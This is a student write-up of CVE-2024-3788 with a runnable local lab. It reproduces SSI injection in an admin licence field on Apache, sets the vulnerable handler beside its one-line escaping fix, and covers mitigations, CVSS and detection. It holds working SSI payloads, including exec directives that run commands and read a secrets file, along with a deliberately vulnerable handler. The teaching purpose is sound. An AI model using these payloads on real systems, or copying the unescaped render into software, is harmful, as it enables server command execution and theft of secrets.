◆ CVE DEEP-DIVE & RUNNABLE LAB — PURE SSI

The Licence Key That Ran

CVE-2024-3788. An admin types a licence key into a form. The server runs it as a command. Nothing in Apache is broken — the application handed attacker text to a parser that treats text as code.

ENTRY POINT	AFFECTED	CLASS	CVSS 3.1
`/admin/CDPUsers` **licence field**	**WBSAirback 21.02.04**	**CWE-97 · SSI injection**	**6.6 · scope changed**

> WHAT THIS LAB IS, AND IS NOT
>
> WBSAirback is commercial backup-appliance software I cannot obtain, so this is **not** the vendor's product. It is a minimal reproduction of the *vulnerability class* the CVE describes — a stored admin field rendered into an SSI-parsed page with no neutralisation — built on Apache httpd so every step is inspectable. The CVE record is the reference; the lab is the demonstration.

01

SSI injection is not the other SSI bug

Worth nailing down first, because it is the thing people get wrong. Server-Side Includes are directives written as HTML comments, which an SSI-enabled server finds, runs, and substitutes before sending the page:

```
<!--#exec cmd="id" -->
<!--#echo var="DOCUMENT_ROOT" -->
<!--#include virtual="/header.html" -->
```

That is the feature working as designed. **SSI injection is when attacker-controlled text ends up inside a page that gets scanned.** The attacker does not exploit a bug

in the parser — they write a directive, the application stores it into a page, and the parser cannot tell it apart from one the developer wrote.

	CVE-2024-3788 — THIS ONE	CVE-2019-0221
Bug class	SSI injection, CWE-97	XSS, CWE-79
Who writes the SSI?	**the attacker**	the developer
The payload is	`<!--#exec cmd="id" -->`	`<script>alert(1)</script>`
Defect lives in	the **application**	the **server's** `printenv`
Executes on	the **server**	the victim's browser

That last row is why this one is more serious than its headline score suggests: successful SSI injection is code execution on the server, not in a browser.

02

Where the bug is

One line in the handler that stores the licence key:

APP/CGI-BIN/SAVE-VULN.PY

```
STORE.write_text(licence)


# ============================================================================
#  THE BUG  --  CWE-97, Improper Neutralization of Server-Side Includes
# ============================================================================
PAGE.write_text(TMPL.read_text().replace("{{LICENSE}}", licence))
```

`licence` came from the request. `PAGE` is `license.shtml`, which Apache parses for SSI. Nothing between the two removes, escapes or rejects the sequence `<!--#`.

The fix, one line

APP/CGI-BIN/SAVE-FIXED.PY — OTHERWISE BYTE-FOR-BYTE IDENTICAL

```
-PAGE.write_text(TMPL.read_text().replace("{{LICENSE}}", licence))
+PAGE.write_text(TMPL.read_text().replace("{{LICENSE}}", html.escape(licence)))
```

`html.escape()` turns `<` into `<`, so `<!--#exec cmd="id" -->` reaches the page as `<!--#exec…`. `mod_include` never sees a start tag, and the admin still sees exactly the text they typed.

> WHERE THE BUG IS NOT — THE INSTINCTIVE ANSWERS ARE WRONG
>
> **Not in Apache.** `mod_include` did precisely what it is documented to do. **Not in the SSI configuration.** `Options +Includes` on `.shtml` is a supported, deliberate setting; turning SSI on is not a vulnerability. **Not in the template**, which is a static file with a `{{LICENSE}}` marker.
>
> The defect is that the **application** let attacker-controlled text reach a parser that treats text as code. That is why CWE-97 sits in the injection family beside SQL injection and command injection — same shape, different interpreter.

03

What causes it, step by step

THE CHAIN

```
1. attacker submits    license=<!--#exec cmd="id" -->
                             |
2. handler stores it   data/license.txt                    (fine on its own)
                             |
3. handler renders it  license.shtml now contains, on disk:
                            <div class="box"><!--#exec cmd="id" --></div>
                             |                             <-- THE BUG IS HERE
4. a victim requests   GET /license.shtml
                             |
5. Apache matches      AddOutputFilter INCLUDES .shtml
                             |
6. mod_include scans   finds <!--#  ... and it is an exec
                             |
7. Options +Includes   exec is permitted, so the command runs
```

```
                                |
8. the response is     <div class="box">uid=33(www-data) ...</div>
```

Four conditions have to line up, and the CVE exists because all four did: user input is **stored** rather than validated away; it is **rendered into a page** rather than into a data field; that page is **SSI-parsed**; and SSI is configured with `Includes` rather than `IncludesNOEXEC`. Break any one and the exploit fails. Step 3 is the one nobody notices, because whoever wrote the handler was not thinking about what the file extension means.

> IT IS STORED, SO IT IS SECOND-ORDER
>
> The attacker's request is not the request that gets exploited. The payload sits on disk until *somebody else* — an admin opening the licence page — triggers it. That is what `UI:N` together with `S:C` is describing in the CVSS vector, and it is why grepping request logs for `<!--#` at the moment of compromise finds nothing.

04

The demo

Same server, same configuration, same SSI settings for both handlers. Only the application changed, which isolates the defect precisely.

VULNERABLE save-vuln.py

```
POST  license=<!--#exec cmd="id" -->


on disk
  <div class="box"><!--#exec cmd="id" --></div>


served
  uid=33(www-data) gid=33(www-data)
  groups=33(www-data)
```

● **command execution as the web user**

FIXED save-fixed.py

```
POST  license=<!--#exec cmd="id" -->


on disk
  <div class="box">&lt;!--#exec cmd=&quot;id&quot; --&gt;</div>


served
  <!--#exec cmd="id" -->
  (as literal text)
```

● escaped — no SSI start tag reaches the parser

Appliance licence

This page is served as `.shtml`, so the server parses it for Server-Side Includes before sending it. Generated: Sunday, 30-Aug-2026 04:59:10 UTC

Registered licence key

uid=33(www-data) gid=33(www-data) groups=33(www-data) vm

Back to admin

The vulnerable page. Where a licence key should be, the box holds `uid=33(www-data) gid=33(www-data) groups=33(www-data) vm` — the output of the command the attacker stored.

Appliance licence

This page is served as `.shtml`, so the server parses it for Server-Side Includes before sending it. Generated: Sunday, 30-Aug-2026 04:59:11 UTC

Registered licence key

```
<!--#exec cmd="id; uname -n" -->
```

Back to admin

The fixed page. Identical payload, rendered as the text the admin typed.

05

How far the injection reaches

PAYLOAD	WHAT IT GETS YOU
`<!--#echo var="DATE_LOCAL" -->`	confirms the page is SSI-parsed — the harmless probe to start with
`<!--#echo var="DOCUMENT_ROOT" -->`	leaks the server's filesystem path
`<!--#printenv -->`	dumps the whole SSI environment
`<!--#exec cmd="cat ../data/appliance-secrets.conf" -->`	**reads a file outside the document root**
`<!--#exec cmd="uname -a; whoami" -->`	arbitrary commands as `www-data`

CAPTURED OUTPUT

```
read outside docroot  <!--#exec cmd="cat ../data/appliance-secrets.conf" -->
   -> BACKUP_ENCRYPTION_KEY=ab93f1c07d5e4b28 SMTP_PASSWORD=Appl1anc3!
arbitrary commands    <!--#exec cmd="uname -a; whoami" -->
   -> Linux vm 6.18.44-fc-v22 ... www-data
```

Note the fourth rung: `appliance-secrets.conf` lives **outside the document root**. No amount of web-server path restriction helps once the attacker can run `cat`.

06

Two traps in the `IncludesNOEXEC` mitigation

The usual advice is "use `IncludesNOEXEC`". Both of these bit me while building the lab, and both are worth a slide.

Trap 1 — the + silently disables the mitigation

`Options +IncludesNOEXEC` **merges** with an inherited `+Includes`, leaving both set — and `Includes` wins, so `#exec` still runs. It has to be written *without* the `+`, which replaces the inherited list rather than adding to it.

```
# WRONG - merges with the inherited +Includes, exec still runs
<Directory "/srv/www/noexec">
    Options +IncludesNOEXEC
</Directory>

# RIGHT - replaces the inherited option list
<Directory "/srv/www/noexec">
    Options IncludesNOEXEC
</Directory>
```

Mishandling exactly this merge is the substance of **CVE-2009-1195**, where permitting `IncludesNOEXEC` in `AllowOverride` silently permitted full `Includes` as well.

Trap 2 — it only removes the top rung

CAPTURED OUTPUT

```
<!--#exec cmd="id" -->
  +Includes      : uid=33(www-data) gid=33(www-data) groups=33(www-data)
  IncludesNOEXEC : [an error occurred while processing this directive]
```

```
<!--#printenv -->
  +Includes      : HTTP_HOST=127.0.0.1:8080 HTTP_USER_AGENT=curl/8.5.0 ...
  IncludesNOEXEC : HTTP_HOST=127.0.0.1:8080 HTTP_USER_AGENT=curl/8.5.0 ...
```

`IncludesNOEXEC` blocks `#exec`. It does **not** block `#echo`, `#printenv`, `#fsize`, `#flastmod` or `#include`. The injection still succeeds; only the worst outcome is removed. **A mitigation that buys time, never the fix.**

07

Reading the CVSS vector

`AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:L` — 6.6, medium.

METRIC	VALUE	WHAT IT SAYS
`AV:N`	Network	reachable over the web
`AC:L`	Low	no race, no brute force, no special conditions
`PR:H`	**High**	**an admin account is required — this is the score's ceiling**
`UI:N`	None	no interaction needed to *store* it
`S:C`	**Changed**	**the injected code runs outside the component that stored it**
`C:L/I:L/A:L`	Low ×3	rated limited, which is arguable

`PR:H` is doing the heavy lifting

Needing admin makes this an insider or post-compromise escalation rather than a pre-auth bug. But the appliance is a **backup server** — it holds copies of everything else on the network. An "insider-only" bug there turns one low-value admin credential into access to the whole organisation's data. Compare CVE-2023-1728, the same class pre-auth, which scores 9.8.

`C:L/I:L/A:L` is generous

The lab shows arbitrary command execution as the web user and reads a file outside the document root. Whether that is "Low" confidentiality depends entirely on what that account can reach — on a backup

appliance, plausibly everything. `S:C` is unarguably right: the field belongs to the admin app, the directive runs in the web server's process.

08

Fixing it, in order

1. **Escape at the point of output.** The one-line fix. Encode for the context the data lands in; for HTML, escape `<` and `&`. This is the actual fix.
2. **Keep user data out of SSI-parsed pages.** Serve it from `.html`, render it client-side, or keep stored input off `.shtml`. Removes the sink entirely.
3. **Do not blocklist `<!--#`.** Tempting and fragile: `SSIStartTag` can be reconfigured to something else, and a blocklist has to be perfect while an attacker needs one gap. Escaping is a whitelist by construction.
4. **`Options IncludesNOEXEC`** — defence in depth, with both traps above in mind.
5. **Turn SSI off** where nothing needs it: `Options -Includes`.
6. **Least privilege.** The payload runs as `www-data`. If that account can read the backup store, the web server is over-privileged regardless of this bug.

Input validation is the weakest layer here and worth saying so: a licence key has a known format, so `^[A-Z0-9-]{8,32}$` would have stopped this payload. But validation fails open on any genuinely free-form field, which is why escaping at output is the control that generalises.

09

Finding it

- **Black box:** put `<!--#echo var="DATE_LOCAL" -->` in every stored field you can reach, then browse the app looking for a rendered date. Harmless, and it proves the parser. OWASP's probe set for SSI parsing is `< ! # = / . " - >`.
- **Fingerprint:** `.shtml`, `.shtm`, `.stm` suggest SSI — but a server can be told to parse anything (`AddOutputFilter INCLUDES .html`), so their absence proves nothing.
- **Config review:** `grep -rn "Includes\|INCLUDES\|XBitHack" /etc/apache2/`

- **Code review:** find every place stored input is written into a file or template that is later served, and check that file's extension against the SSI handler config. That join — *user data* against *SSI-parsed path* — is what to look for, and exactly what a scanner will miss.

10

Running it yourself

```
cd cve-2024-3788
chmod +x setup.sh run.sh exploit.sh

./setup.sh          # builds a standalone Apache instance under run/
./run.sh start      # 127.0.0.1:8080
./exploit.sh        # the whole demo
./run.sh stop
```

Needs Apache with `mod_include` (`sudo apt install apache2` — already present on Kali), plus `python3` and `curl`. The setup writes its own `httpd.conf` and runs out of `run/`: it does not touch the system Apache service or anything outside its own directory, and it listens on loopback only. Or drive it by hand at `http://127.0.0.1:8080/admin.html`, where the form is pre-filled with the payload.

Lab and write-up for the SSI/XXE assignment — Computer Science, Cairo University. The reproduction runs on Apache 2.4.58 with `mod_include`; it is not WBSAirback, which is commercial software. Sources: the CVE record, CWE-97, CAPEC-101, OWASP SSI Injection, and Apache mod_include. For authorised testing only.